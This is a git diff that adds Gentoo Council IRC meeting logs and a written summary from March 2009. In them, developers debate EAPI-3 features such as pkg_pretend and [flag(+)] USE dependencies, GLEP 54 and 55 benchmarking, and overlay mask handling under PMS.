+20:41 <@dberkholz> dev-zero: like, do we agree about the writeup on 55?
+20:41 < ciaranm> jmbsvicetto: see the email i sent to the list
+20:41 < ferringb> ciaranm: every proposal for changing eapi relies on the ebuild specifying the eapi (and being authorative) for all >eapi2 eapis.
+20:41 < jmbsvicetto> ciaranm: (if we choose to keep EAPI as a var or make it a call in the 1st line if we move to EAPI as a function)
+20:41 < ciaranm> Betelgeuse: we don't normally open the ebuild file at all
+20:41 <@Betelgeuse> ciaranm: yes sure
+20:42 < ferringb> ciaranm: meaning inherit no longer matters.  meaning chksum on the ebuild is enough to deal w/ staleness checks on unknown eapis.
+20:42 < jmbsvicetto> nelchael: whatever we can agree on
+20:42 < ciaranm> Betelgeuse: the speed of paludis -pi world is determined almost entirely by how many files it has to open
+20:42 <@dberkholz> seriously, we need to get through 2 things besides this discussion in the next 15 minutes. so if you guys could hold off for a few, that would really help.
+20:42 < zmedico> ciaranm: as said 2 x cache parsing hit isn't bad for worst case
+20:42 <@dev-zero> dberkholz: yes
+20:42 < ciaranm> zmedico: not worst case. normal case. and it's horrid.
+20:43 <@dev-zero> dberkholz: you shouldn't have started with G55 :)
+20:43 < ferringb> dev-zero: yep.
+20:43 < zmedico> ciaranm: no, general case is that tree only contains supported eapis
+20:43 < ferringb> zmedico: stop.
+20:43 < tanderson> dev-zero: haha, good point
+20:43 < ferringb> resume in 15
+20:43 <@dberkholz> i phrased it in a way explicitly designed to avoid this, but it seems that this is impossible.
+20:43 <@lu_zero> ciaranm zmedico will implement it and you'll test it and provide data and script to test ourselves
+20:43 <@lu_zero> there isn't that much to discuss I guess
+20:43 < ciaranm> zmedico: 2x slowdown when the tree contains only supported EAPIs
+20:44 < ciaranm> zmedico: that's unacceptable
+20:44 <@Betelgeuse> Well let's code and see the results.
+20:44 < ciaranm> already did
+20:44 < ferringb> post it
+20:44 < ferringb> test cases included
+20:44 < ferringb> meanwhile the other managers will do the same
+20:44 <@Betelgeuse> ciaranm: Ok. I will test with trunk then.
+20:44 < ferringb> specifically portage so that we can see how the majority are affected
+20:44 <@Betelgeuse> And do the same with Portage.
+20:44 < ciaranm> 8s -> 13s for -pi world on the cache valid case
+20:44 < zmedico> ciaranm: no, all supported eapis + validatable cache -> no slowdown
+20:44 < tanderson> er, +m until 2100?
+20:45 < jmbsvicetto> dberkholz: you may want to start talking about the next subject or we won't move forward ;)
+20:45 < ciaranm> zmedico: slowdown, because you have to open the .ebuild, which you normally wouldn't have to do
+20:45 <@dberkholz> council folks -- do you agree with the writeup of comparisons? if so, who will help on it?
+20:45 <@Betelgeuse> dberkholz: If you need silnce for something else use +m
+20:45 <@dev-zero> dberkholz: I will
+20:45 < zmedico> ciaranm: you don't have to open the ebuild if the cache is validatable
+20:45 < ciaranm> zmedico: you don't know that until you open the ebuild
+20:45 <@dertobi123> dberkholz: yes, I'd like to see the writeup
+20:45 <@dberkholz> 2 minutes to wrap up cleanly without moderation, or +m we go
+20:45 <@lu_zero> dberkholz summarize the scope of the comparisons and the voluteers
+20:46 <@lu_zero> I got a bit swamped and I no more sure about this
+20:46 <@leio> dberkholz: I'd like to see that writeup. I can't help on it as I have to be on devaway for a week
+20:46 < zmedico> ciaranm: you don't have to open the ebuild, you just have to validate it's identity
+20:46 <@dberkholz> btw, feel free to move your discussion over to #gentoo-dev.
+20:46 < ciaranm> dberkholz: heh, funny
+20:47 < ahf> haha
+20:47 < zmedico> ciaranm: for example, by comparing a digest from the cache with a digest in the manifest. that's good enough for dep calc time
+20:47 -!- mode/#gentoo-council [+v tanderson] by ChanServ
+20:47 -!- mode/#gentoo-council [+m] by dberkholz
+20:47 <@lu_zero> ok
+20:47 <@dberkholz> 10 minutes ,then you guys can continue playing
+20:48 <@dberkholz> for those of you who haven't replied yet
+20:48 <@dberkholz> 20:45 < dberkholz@> council folks -- do you agree with the writeup of  comparisons? if so, who will help on it?
+20:48 <@dev-zero> 21:45 <@dev-zero> dberkholz: I will                                                                                                                                                              keytoast~
+20:48 <@Cardoe> I would like to see the write up
+20:48 <@lu_zero> so leio+dev-zero ?
+20:48 <@dev-zero> lu_zero: thought that leio is on devaway for the next week
+20:49 <@lu_zero> oh, right
+20:49 <@dberkholz> Betelgeuse?
+20:49 <@leio> yeah, visiting relatives the first half of my vacation, sporadic internet access and "laptop usage allowance"
+20:49 <@Betelgeuse> I can work with zmedico to get code in and run benchmakrs.
+20:50 <@dberkholz> ok
+20:50 <@lu_zero> please post them on -dev
+20:50 <@lu_zero> so more people could try firsthand
+20:50 <@dberkholz> dev-zero: you're on the writeup, let's see an update by this time next week, using the framework we talked about earlier
+20:50 <@dberkholz> dev-zero: sound good?
+20:50 <@dev-zero> dberkholz: sure
+20:50 <@dberkholz> Betelgeuse: what kind of timeframe?
+20:50 <@Betelgeuse> dberkholz: a week should be enough
+20:51 <@dberkholz> ok, sounds great.
+20:51 <@Betelgeuse> dberkholz: I have exams coming the week after that so won't do it then
+20:51 <@dberkholz> those 2 things should help a lot, and we can move forward from there.
+20:52 <@dberkholz> now the other topic, 54, i have basically the identical request. just getting all the info in one place for a good comparison. tanderson said he could help lu_zero with that
+20:52 <@dberkholz> sound good?
+20:52 <@lu_zero> I'll be glad to have his help
+20:53 <@dberkholz> lu_zero, tanderson -- can you have something similar to antarus's thing by this time next week?
+20:53 <+tanderson> dberkholz: hopefully
+20:53 <@lu_zero> it's basically reformat and extend the latest email
+20:53 <+tanderson> dberkholz: I have exams until monday but spring break after that
+20:53 <@Cardoe> I would say let's shoot for that for next week then
+20:53 <@dberkholz> tanderson: if you can't say yes, what timeframe can you say yes to? =)
+20:53 <+tanderson> dberkholz: ok, yes :-)
+20:53 <@lu_zero> tanderson I hope it won't take much
+20:53 <@dberkholz> alright, good.
+20:54 <@lu_zero> I'd like to do a poll like we had for glep-55
+20:54 <@lu_zero> once we have the summary ready
+20:54 <+tanderson> polls are really useless unless we're going for what's the most popular
+20:55 <@lu_zero> at least to get a wider feeling of our developers and users
+20:55 <@Betelgeuse> well it wasn't really wide thise time
+20:55 <@dberkholz> the last point i want to make is what ferringb brought up about pms and gentoo-hosted repos. please read that bit and chip in if you have anything to say.
+20:55 <@dev-zero> lu_zero: then make -dev mandatory again
+20:55 <+tanderson> dev-zero: a lot of people won't like that
+20:55 <+tanderson> dev-zero: if they aren't subscribed they don't care
+20:55 <@dberkholz> i can put a poll on my blog, just give me the question and answers, and point people there.
+20:56 <@lu_zero> dberkholz ok
+20:56 <@dberkholz> i don't think we need to talk about that anymore now
+20:56 <@leio> in for example gnome overlay we negate gentoo-x86 package.masks on purpose to make it a lot easier for the users of the overlay. We'd like to continue doing so, and have it working as portage acts like now.
+20:56 <@dberkholz> leio: ok, i can't remember whether you said that on the list but could you if you haven't?
+20:56 -!- grobian [n=grobian@gentoo/developer/grobian] has joined #gentoo-council
+20:56 <+tanderson> I don't think that'll be a good idea especially when we get to proper repository support
+20:56 <@dev-zero> leio: well, I get ugly warnings all the time since it's against pms
+20:56 <@leio> I will, yes. EvaSDK said something along those lines already
+20:57 <@dberkholz> that's everything besides the glep 55 discussion i wanted to cover
+20:57 <@leio> most of the overlays work on top of gentoo-x86, and it makes logical sense for that to work like it does right now with portage
+20:58 <@lu_zero> dberkholz before I forget for the next council could we get an update about the cvs-> git status?
+20:58 <@leio> I'd hate to lose that just because it doesn't conform to some PMS document, that is supposed to document how portage works
+20:58 <@lu_zero> leio we should make a difference between overlays and alternate repos
+20:58 <@dev-zero> dberkholz: and is there a writeup for Google SoC 2008 ?
+20:58 <@leio> sure, just don't make it impossible to do what we do now :)
+20:58 <@dberkholz> exactly the same blocker as 2 weeks ago -- see http://archives.gentoo.org/gentoo-scm/msg_df7c98ec7d2e313856bec31769df407f.xml
+20:58 <@lu_zero> since those thing overlaps but aren't the same
+20:58 <+tanderson> I have to leave soon, I'll get to the summary in a bit
+20:58 <@dberkholz> dev-zero: no, but i've been blogging and posting about it like crazy
+20:59 <@dberkholz> so can we close up the meeting, unmoderate, and get back to that?
+20:59 <@leio> maybe voice ferringb as the requestor for this discussion?
+20:59 -!- mode/#gentoo-council [+v ferringb] by dev-zero
+20:59 <+ferringb> thank you
+21:00 <@leio> so perhaps a concrete proposal on how to support both in a formalized way from someone?
+21:00 <+ferringb> essentially, if you want overlay x to be able to override repo x's masks, formalize it then; the current state requires basically collapsing it all down into a single stack which is very unfriendly to implementations designed for multiple stacks
+21:00 <+ferringb> further, it goes beyond adjustments of masks- pms specifies profile chunks as files
+21:00 <@leio> some file that says a name for a stack or something. Or declaring a parent repository, or..
+21:01 <@lu_zero> ferringb so also that part should be updated as well?
+21:01 <+ferringb> portage extended it's user profile support (directory or file) to *all* profiles- now the only spec non-portages can follow is pms, but it blows up in our face on overlays following portages looser standards
+21:01 <+ferringb> lu_zero: no, it can't be
+21:01 <+ferringb> lu_zero: it would break older portage installations via allowing that in gentoo-x86
+21:01 <@dberkholz> i've got other meetings i have to attend for the next couple hours. dev-zero, could you please take care of trying to push this topic to the list, then unmoderating and returning to discussion in the next 5 min or so?
+21:02 <@dev-zero> dberkholz: sure
+21:02 <+ferringb> the problem here is that we have unversioned changes occuring.  version the sucker, if portage has it's own overlay repository format that isn't pms (which *is* the case now), it needs to be marked so paludis/pkgcore aren't getting screwed, or forced to loosen our pms compliance for all repos
+21:03 <+ferringb> wordy, but does that make sense?  the real issue here is that these repos we have to assume are pms compliant, there is no marking to rely on to tell us otherwise- because portage is dominant and allows more then pms specifies, we're forced to either have things blow up
+21:03 <+ferringb> or to disregard pms and follow what portage does.
+21:03 <@leio> I'll bring my stuff on the list to get the discussion continued, but I'm not sure I manage before I leave in the morning and be completely without Internet access for a few days.
+21:03 <@dev-zero> ferringb, leio: why not bring in the needed stuff in a proposal for the next eapi?
+21:04 <+ferringb> dev-zero: profiles aren't versioned by eapi
+21:04 <@leio> this isn't really an ebuild thing. How does EAPI apply?
+21:04 <+ferringb> no repository metadata is.  only ebuilds are versioned by eapi
+21:04 <+ferringb> leio: it doesn't apply
+21:04 <@dev-zero> ferringb: we have profile EAPIs now
+21:05 <+ferringb> dev-zero: not for repository level masks.
+21:05 <@lu_zero> then I guess we are set about that to do in this regard
+21:05 <@dev-zero> ferringb: yes, we do
+21:05 -!- mode/#gentoo-council [+v jmbsvicetto] by leio
+21:06 <@dev-zero> but anyway, we're over time already
+21:06 <@dev-zero> ferringb, leio: please bring that topic up on -dev again and we'll talk there about it
+21:06 <@leio> yeah, I'll try hard to bring up my stuff to the list in a new thread name before I get asleep
+21:06  * ferringb sighs, can, but people ignore it
+21:06 <+jmbsvicetto> one concern I have for KDE is that we frequently need to mask some versions in Portage, but to unmask them in the kde-testing overlay (where we're conducting the bulk of our work)
+21:06 <+ferringb> as does upstream portage.  basically leaves the option of loosening to portages spec and disregarding pms
+21:06 <@leio> pretty much exactly the same use case in gnome overlay
+21:07 <@leio> we could probably do package.unmask entries, but that doesn't really work in a profile iirc
+21:07 <@leio> (e.g, not even supported such a list of unmasks)
+21:07 <+jmbsvicetto> profile EAPIs would help, but as ferringb stated, that doesn't help with files directly under /profiles
+21:07 <+ferringb> leio: package.unmask was one of the additions portage leveled iirc.
+21:07 <@dev-zero> well, I'm going to open the channel for discussions again
+21:08 -!- mode/#gentoo-council [+tnc] by dev-zero
+21:08 <@lu_zero> jmbsvicetto as current workaround won't be possible provide unmask file to add in /etc/portage ?
+21:08 <+ferringb> even if you did profile eapis, you'd have to create an eapi w/ the changes portage has forced, then bump every involved profile (repo included) to it where it's used
+21:08 <+jmbsvicetto> lu_zero: yes, but that affects the way users work with the overlay
+21:08 <+ferringb> which is an upgrade without reason.  repository level format marker handles this far cleaner
+21:09 <+jmbsvicetto> lu_zero: by putting the file in the overlay profiles dir, users don't need to "think about it"
+21:09 <@leio> the whole point of doing the mask negation in the overlay is to avoid users having to put stuff in /etc/portage
+21:09 <@leio> we update it for them, they can't forget removing those package.unmask entries from /etc, etc
+21:09 <@lu_zero> jmbsvicetto giving a notice and explanations would be understood or you are afraid it would cause an outrage?
+21:09 <+jmbsvicetto> lu_zero: I'm sure it would cause an outrage
+21:10 -!- mode/#gentoo-council [-m] by dev-zero
+21:10 <@lu_zero> leio ln the file in $overlay/scripts won't be the same?
+21:10 < ciaranm> leio: having global behaviour changing merely because you add a repo is horrid
+21:10 <+jmbsvicetto> lu_zero: users would start complaining why we were making their life harder
+21:10 <@lu_zero> jmbsvicetto I see
+21:10 < ciaranm> a better solution is to get sets standardised, and not how portage does them now...
+21:10 <+ferringb> having users yelling at me unable to use pkgcore because y'all follow portages standards is horrid also
+21:10 <@leio> ciaranm: that is your opinion, and most users disagree with it.
+21:10 <@leio> (about it being horrid)
+21:10 <+jmbsvicetto> ciaranm: I would love to get your feedback about sets
+21:10 <+ferringb> encode it in a format
+21:10 <@leio> it is the logical approach we are doing
+21:10 < ciaranm> leio: most users haven't had access to an easier alternative
+21:10 <+ferringb> it solves everyones complaints and gives us a way to deal with this
+21:10 <+jmbsvicetto> ciaranm: We should really be trying to define a format that all 3 PMs support
+21:11 < ciaranm> leio: you're doing what portage lets you get away with, not what's best
+21:11 < ciaranm> jmbsvicetto: indeed
+21:11 < ciaranm> jmbsvicetto: the paludis format is rather clean... and documented...
+21:11 <@dev-zero> tanderson: I think the meeting can be concidered over
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20090312-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20090312-summary.txt
new file mode 100644
index 00000000..a32fede8
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20090312-summary.txt
@@ -0,0 +1,113 @@
+Roll Call:
+===========
+Betelgeuse: here
+Cardoe: here
+dberkholz: here
+dertobi123: here
+dev-zero: here
+leio: here
+lu_zero: To Be Determined, 37 minutes late
+tanderson(secretary): here
+
+Topics:
+===========
+
+EAPI-3 Proposals:
+
+    Note: The following two proposals were discussed before it was realized
+    that there was not sufficient time to discuss all of them. At that point a
+    call for objections to any of the proposals found at [1] was asked for,
+    and none were made. A full list of proposals for EAPI 3 follow.
+
+    - New phase: pkg_pretend
+        This phase is most useful for displaying conflicting USE flags at
+        dependency resolution time(pretend), though it has various other uses
+        so that errors about installing the package can be displayed before
+        installation of packages begin.
+
+        Conclusion:
+            Approved for the draft.
+
+    - [flag(+/-)] USE dependencies
+        This may be needed when one wishes to depend on a package with a
+        certain USE flag but if the USE flag is not present in that package
+        assume it is on or off(+ and - respectively).
+
+        Conclusion:
+            Approved for the draft.
+
+    - Multislot Dependency Specifications
+        This allows ebuils to tell the package manager that runtime
+        dependencies are not swappable(:1 installed at runtime can't be
+        removed even though :2 'satisfies' the dependency).
+
+    - PROPERTIES mandatory in cache
+        Some information provided by this variable is useful at --pretend
+        time(interactive packages). 
+
+    - DEFINED_PHASES mandatory in cache
+        Same reasons as for PROPERTIES, but is also useful for determining
+        the phases a package provides with just the cache.
+
+    - Provide a default src_install prototype.
+        Get rid of the need for the src_install functions with just `emake
+        install` in them. Some discussion is needed to clear up issues with a
+        DOCS variable for extra documentation and a list of docs to
+        automatically get installed.
+
+    - Provide a `docompress` function.
+        This function serves as a replacement for prepalldocs. `docompress`
+        can optionally compress files in /usr/share/doc according to a set of
+        inclusion and exclusion lists.
+
+    - Provide a '-r' option to `dodoc`
+        Providing a way to put `dodoc` in recursive mode is widely accepted.
+
+    - Make `doins` preserve symlinks
+        This obsoletes the `cp -R` constructs frequently seen and is easy to
+        implement.
+
+    - Limit values in $USE to those in $IUSE.
+        Certain USE_EXPAND flags may be in USE even if they aren't
+        specifically set in IUSE. Eliminate this.
+
+    Next Action:
+        The Council agreed to have portage implement as many of these as
+        possible in a month and then make that EAPI 3.
+
+Technical Agenda Items:
+
+    - GLEP 54
+        Thomas(tanderson) sent out a comparison of GLEP 54 and the liveebuild proposals.
+        Among those discussing GLEP 54 there was a general consensus that
+        there was nothing wrong with it as a first step to get correct
+        ordering. Luca(lu_zero) commented that all he was concerned about was
+        that there was not enough 'meat' to the GLEP.
+
+        Next Action:
+            Doug(Cardoe) and Luca(lu_zero) intend to write a
+            GLEP to handle the second part of the problem(making the revision
+            available to ebuilds/package manager/users.
+
+    - GLEP 55
+        Petteri, Zac, and Ciaran were supposed to benchmark the various
+        proposals and report back. Zac did not write the code for portage so
+        Petteri had nothing to report on this issue. Ciaran commented that
+        the solutions other than GLEP 55 had a 50% slowdown in the valid cache
+        situation compared to GLEP55, but did not post the raw numbers or the
+	    patches used.
+
+        Next Action:
+            Zac needs to benchmark the proposals in portage.
+
+Open Floor:
+===========
+
+- Migration of KEYWORDS from ebuilds to profiles:
+  Ned Ludd(solar) brought this up, but it came up in the middle of agenda
+  items so was not talked about much. Some points were made that such a scheme
+  would require a git conversion, but nothing was agreed upon. 
+
+
+References:
+[1]: http://spreadsheets.google.com/ccc?key=pPAJXP6shYH78lCXeqRqCUQ
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20090312.txt b/xml/htdocs/proj/en/council/meeting-logs/20090312.txt
new file mode 100644
index 00000000..51a8824b
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20090312.txt
@@ -0,0 +1,359 @@
+20:01 <@dberkholz> ok, let's get started
+20:01 <@Cardoe> Betelgeuse: yes?
+20:01 <@Betelgeuse> Cardoe: just to find out that you are here
+20:01 -!- ferdy [n=ferdy@exherbo/developer/ferdy] has joined #gentoo-council
+20:01 <@Cardoe> Betelgeuse: I've been here talking for the last hour
+20:01 <@dberkholz> Betelgeuse, Cardoe, dberkholz, dertobi123, leio-dl are here
+20:01 <@Betelgeuse> dev-zero:
+20:01 <@dberkholz> lu_zero, dev-zero -- pong please
+20:02 <@dev-zero> dberkholz: pong
+20:02 -!- arkanoid [n=arkanoid@exherbo/developer/arkanoid] has joined #gentoo-council
+20:02 <@dberkholz> lu_zero: check in again when you're back
+20:02 < fmccor> lu_zero was here 9 minutes ago
+20:02 <@dberkholz> let's start
+20:03 <@dberkholz> anyone mind if we talk briefly about the path to EAPI=3, even though it wasn't on the draft agenda?
+20:03 <@Betelgeuse> There won't be a shortage of ideas the main deciding thing is zac.
+20:03 <@Betelgeuse> Unless someone gets down to coding.
+20:04 <@dberkholz> zmedico: around?
+20:04 <@Betelgeuse> As can be seen with GLEP 55 if we rely on zac we really can't make much plans.
+20:04 <@dev-zero> Betelgeuse: for at least one issue on the task there's already a patch for portage
+20:04 < ciaranm> half the things on the list are five minute bash jobs
+20:04 <@dev-zero> second, some issues are pretty much isolated and don't need much portage knowledge
+20:05 <@Cardoe> We don't necessarily have to rely on Zac. Most of the items are really basic and can be coded by someone with 30 min time.
+20:05 <@Betelgeuse> good
+20:05 < ciaranm> the one that's slightly non-trivial is [use(+)] deps (assuming we like that syntax), and afaik that's considered the driving force behind EAPI 3
+20:05 <@dev-zero> yes
+20:05 <+tanderson> hi, I'm here now
+20:05 <@Betelgeuse> Well repoman support would help a lot too.
+20:05 <@dev-zero> and the multislot dep issue
+20:05 <@Cardoe> ciaranm: was that for handling the missing case?
+20:05 < ciaranm> Cardoe: yeah
+20:06 <@dberkholz> which line is that on the spreadsheet?
+20:06 <@dberkholz> use(+)
+20:06 <@dev-zero> 6
+20:06 <@Cardoe> ciaranm: can you give a quick description of the syntax. The spreadsheet kinda is weak on it and I'd also like to have a description of the syntax for the logs.
+20:06 <@Betelgeuse> dev-zero: please post a link so it gets logged
+20:06 <@leio-dl> [use(+)] has the same portage stock message issue as other USE deps, but that's a topic for ml and possibly separate thing
+20:06 <@Cardoe> http://spreadsheets.google.com/ccc?key=pPAJXP6shYH78lCXeqRqCUQ is the spreadsheet and #6 is what we're talking about
+20:07 < ciaranm> Cardoe: the syntax exheres-0 uses is foo/bar[flag(+)] and foo/bar[flag(-)]
+20:07 <@dev-zero> here are the eapi-3 feature proposals: http://spreadsheets.google.com/ccc?key=pPAJXP6shYH78lCXeqRqCUQ
+20:07 <+tanderson> I need to catch up :\
+20:07 < ciaranm> where (+) means "pretend it's on if foo/bar doesn't have flag in IUSE"
+20:07 <@Cardoe> dev-zero: they're missing a bunch that ciaranm suggested and I'd like to see merged in.
+20:07 <@Cardoe> ciaranm: thanks
+20:07 <@dev-zero> Cardoe: hmm, which ones?
+20:08 <@Betelgeuse> I don't really see it solving the remove use flags problem unless we always start to use these atoms.
+20:08 <@dev-zero> Betelgeuse: that's true
+20:08 < ciaranm> Betelgeuse: until someone removes the use flag in a newer version, though, you don't know what your dep will want
+20:08 <@Betelgeuse> You should always check reverse stuff any way.
+20:08 < ciaranm> if you're currently foo/bar[baz], and new bar has no baz, you don't know in advance whether it's because baz is always on or has been removed or what
+20:09 <@Betelgeuse> ciaranm: I know but I was referring to the spreadsheet.
+20:09 <@Cardoe> I think it's a good syntax as any unless there are any technical objections.
+20:09 < ciaranm> so if you do foo/bar[baz] until you know, the repoman can flag it down for you once a new foo/bar comes along
+20:09 <@leio-dl> we just need tools to show automatically what depends on an IUSE in any way to deal with it
+20:09  * ciaranm really can't type tonight
+20:10 <@Betelgeuse> dev-zero: One thing to add is doexamples
+20:10 <@Cardoe> ok lemme speed this up.
+20:10 <@leio-dl> but repoman will only tell it if you run it inside the package that has foo/bar[baz] in depends, not when you are running it inside foo/bar after removing baz from IUSE
+20:10 <@dev-zero> Betelgeuse: good point
+20:10 < ciaranm> leio-dl: yup. fortunately, people do global tree scans regularly to catch that sort of thing.
+20:10 <@dberkholz> there's some point where we have so many do* actions that it's harder to remember them all than to do an insinto..
+20:10 <@leio-dl> always after the fact. Lets move on
+20:11 < ciaranm> leio-dl: there's no nice easy solution to dealing with reverse deps, and use deps don't really alter that
+20:11 <@Cardoe> Do we want [use(+)] deps to go into the EAPI-3 draft? dberkholz, leio, dev-zero, Cardoe, Betelgeuse, lu_zero?
+20:11 <@Cardoe> I say yes.
+20:11 <@leio-dl> yes
+20:11 <@dertobi123> yep
+20:11 <@dev-zero> yes
+20:11 <@dberkholz> fine w/ me
+20:11 <@Betelgeuse> dberkholz: well in the long term we should more helper stuff to the tree
+20:11 <@Cardoe> dertobi123: sorry for missing you off
+20:11 <@dertobi123> Cardoe: :P
+20:11 <@Betelgeuse> Cardoe: sure
+20:11 <@Cardoe> dertobi123: too many d's
+20:12 <@dertobi123> heh
+20:12 <@Cardoe> Ok. Next item on the draft.
+20:12 <@Cardoe> pkg_pretend()
+20:12 <@dberkholz> we'll have to vote for higher council nick diversity next time.
+20:12 <+tanderson> bwahaha
+20:12 <@dberkholz> i am totally for pkg_pretend
+20:12 <@Cardoe> I would like to see pkg_pretend() useful for displaying USE conflicts
+20:13 <@Cardoe> http://bugs.gentoo.org/show_bug.cgi?id=75936
+20:13 <@dberkholz> there are so many ways it's useful
+20:13 <@Cardoe> To allow the developer to put a description behind it.
+20:13 <@dev-zero> yes, me too, but we should still try to find a more pm-based solution for USE conflicts
+20:13 <@Cardoe> because the current way Portage displays it sucks
+20:13 <@dberkholz> telling people we're gonna break their system before a merge instead of after
+20:13 <@Cardoe> and users are confused
+20:13 <@dberkholz> gentoo sysadmins have complained to me about that so many times
+20:13 <@Cardoe> pkg_pretend in draft EAPI-3.... dberkholz, leio, dev-zero, Cardoe, Betelgeuse, lu_zero, dertobi123?
+20:13 <@dev-zero> yes
+20:13 <@Cardoe> yes
+20:14 <@dberkholz> 20:12 < dberkholz@> i am totally for pkg_pretend
+20:14 <@Betelgeuse> Cardoe: Do we need to go through one by one?
+20:14 <@dertobi123> yes
+20:14 <@leio-dl> abstain (haven't read and thoguht about it enough)
+20:14 <@Betelgeuse> Is there anything people disagree on?
+20:14 <@Cardoe> Betelgeuse: I'm looking for us to nail down a "draft" list.
+20:14 <@Cardoe> That we can hand over to the PM maintainers to implement
+20:14 <@Cardoe> They come back to us once we've got some code and we'll formally resolve the differences and finalize EAPI-3
+20:15 <@Betelgeuse> Cardoe: What good does that do if we are tied to Portage implementing things?
+20:15 < ciaranm> can always take things out if it turns out portage can't do them quickly
+20:15 <@dberkholz> how about we come up with a list of things on that spreadsheet that any of us disagrees with instead
+20:15 <@Cardoe> Fine
+20:15 <@Betelgeuse> I would propose as to set a time and then see what Portage has then.
+20:15 <@dberkholz> it'll take a while to go through 20-something positively
+20:15 <@Betelgeuse> And use that for EAPI 3.
+20:15 <@dev-zero> I already cancelled some features out (those with prio=99)
+20:16 <@Cardoe> dev-zero: please add a reference to bug #75936 to item #1
+20:16 < Willikins> Cardoe: https://bugs.gentoo.org/75936 "method for handling conflicting USE flags at --pretend time required"; Portage Development, Core - Ebuild Support; NEW; ciaran.mccreesh@googlemail.com:pms-bugs@g.o
+20:16 <@Betelgeuse> I say a month is fine.
+20:16 <@dev-zero> Cardoe: I'm sorry, but that's not the same thing
+20:17 <@Betelgeuse> Any comments?
+20:18 <@dberkholz> so basically request a specific list of features in portage, then take whatever's done in a month and call it 3?
+20:18 <@dertobi123> putting those marked with priority 1 to 3 on a draft and look in month what we have implemented in portage would work for me
+20:18 <@dertobi123> in a month*
+20:18 <@Betelgeuse> dberkholz: it can implement more too
+20:19 <@dberkholz> sorry, didn't understand that
+20:20 <@Betelgeuse> dberkholz: I don't think we need to restrict ourselves to the items on that list of there is more implemented (if this is likely is of course another matter)
+20:20 <@dberkholz> all i'm saying is that we actually provide a list of stuff that we want, instead of having this list of random features that a million people have proposed, which we may or may not end up approving
+20:21 <@Cardoe> Betelgeuse: we're not restricting outselves
+20:21 <@Cardoe> We're providing a list of stuff we'd like to see
+20:21 <@dberkholz> so we pre-approve features before they're implemented
+20:21 <@dev-zero> that's true, but it would be good if we limit ourselves to certain points and see that those get really implemented
+20:21 <@Betelgeuse> dev-zero: The easiest way is to divide the features between council members or others to code
+20:21 -!- keytoast1r [n=tobias@alpha.libexec.de] has quit [Client Quit]
+20:21 <@leio-dl> I don't like pre-approving, if expressed that way
+20:22 <@dev-zero> Betelgeuse: ok, fine by me
+20:22 -!- theinlein [n=tobias@gentoo/developer/keytoaster] has joined #gentoo-council
+20:22 <@dberkholz> leio-dl: what's your problem with it?
+20:22 <@Cardoe> We're sifting through the list of proposed features on all the mailing lists
+20:22 <@Cardoe> rejecting certain ones out right
+20:22 <@Cardoe> and prioritizing some based on the needs and requests
+20:22 <@Cardoe> and giving that list to people to code
+20:22 <@Cardoe> then we'll check back with what's coded in a month
+20:22 <@Cardoe> and go from there
+20:22 <@leio-dl> my problem is that for example we haven't actually been able to test this feature, and before actual approving we could and something turns out. That's an example
+20:22 -!- theinlein is now known as keytoaster
+20:23 <@dberkholz> pre-approving doesn't mean pre-requiring
+20:23 <@dberkholz> it means if things work out well, it's in. it could still fail at the implementation step
+20:23 <@leio-dl> pre-approving worded like that sounds like we can't end up rejecting it
+20:23 <@leio-dl> if it turns out to be a bad idea by then, regardless of the implementation
+20:23 <@Cardoe> if it turns out to be a bad implementation or works out to be poorly thought out after further discussions we drop it
+20:23 < ciaranm> leio-dl: all of these features are easy to turn on or off in the package manager
+20:23 <@dev-zero> that's why you usually have developers at the requirement meeting
+20:24 <@Cardoe> It's a wish list
+20:24 <@Cardoe> dev-zero: unfortunately we can't force the developers of PMs to be on here
+20:24 <@leio-dl> wish list, sure. Just avoid the term pre-approved and I'll be happy
+20:24 <@dev-zero> Cardoe: no, it's a requirement list
+20:24 <@dev-zero> Cardoe: we have at least one developer of a package manager here
+20:25 <@Cardoe> dev-zero: indeed we do and we appreciate it.
+20:25 <@Cardoe> dev-zero: but alas the others did not come.
+20:25 <@dev-zero> Cardoe: and the prio=1 features have been implemented in one package manager, so a proof-of-concept is done
+20:25 <@leio-dl> ciaranm: No, they are not. If the ebuild says an EAPI, it has to support it fully not have something turned off
+20:25 <@Cardoe> leio-dl: he meant as part of development and testing
+20:25 < ciaranm> leio-dl: no, i mean, we can implement features in the package manager, but not have them supported for any EAPI
+20:26 <@leio-dl> sure, you can implement what you want :)
+20:26 <@Cardoe> Honestly folks. This is a rather pointless debate.
+20:26 <@Cardoe> We've got a list with priorities
+20:26 <@dev-zero> yes
+20:26 <@Cardoe> It's done
+20:26 <@Cardoe> Move on
+20:26 <@Cardoe> dberkholz: what's the next agenda item?
+20:27 <@dberkholz> it was overlay masking, but we've already got an action there
+20:27 < ciaranm> leio-dl: have a look at http://git.pioto.org/gitweb/paludis.git?a=tree;f=paludis/repositories/e/eapis;h=18e91e4a6e08e6160f400;hb=master to see what i mean. there's no harm in experimentally or provisionally implementing something in a package manager and then just not using it if it turns out it sucks
+20:27 <@dberkholz> leio-dl just needs to follow up on list, which he's gonna do by saturday
+20:27 <@Cardoe> dberkholz: sounds good.
+20:27 <@Cardoe> dberkholz: next item?
+20:27 <@dberkholz> then we've got the live ebuild stuff
+20:28 <@dberkholz> the existing writeup really doesn't address the things i was hoping it would, along the lines that antarus did for 55
+20:28 <@Cardoe> frankly the more we look at the live stuff. the more I feel its lacking
+20:28 <@dberkholz> i'm wondering whether i need to get involved with that
+20:29 <+tanderson> uh, I was supposed to write a comparison, no?
+20:29 <@Cardoe> tanderson: yep
+20:29 <+tanderson> at least that what everybody agreed on for the summary
+20:29 <@Cardoe> The only thing I'd like to see from GLEP 54 is a defined way of storing the revision information used by the build
+20:29 <+tanderson> so How did what I do not address what was wanted?
+20:30 <+tanderson> Cardoe: Yeah, I hope to work on that soon. Thankfully, classes have eased up a bit
+20:30 < ciaranm> Cardoe: storing revision information is largely an unrelated issue. getting that whole thing right is best addressed as stages two and three of a staggered plan
+20:30 <+tanderson> yeah, All we have to agree on is that it's possible and a good plan to do it with GLEP 54, or not..
+20:31 <+tanderson> er, s/we/you obviously :P
+20:31 <@Cardoe> ciaranm: ok fine.
+20:31 <@Cardoe> ciaranm: then I'd like a documented way for the user to specify a specific revision
+20:31 <@Cardoe> right now we've got ESVN_REVISION and EGIT_REVISION
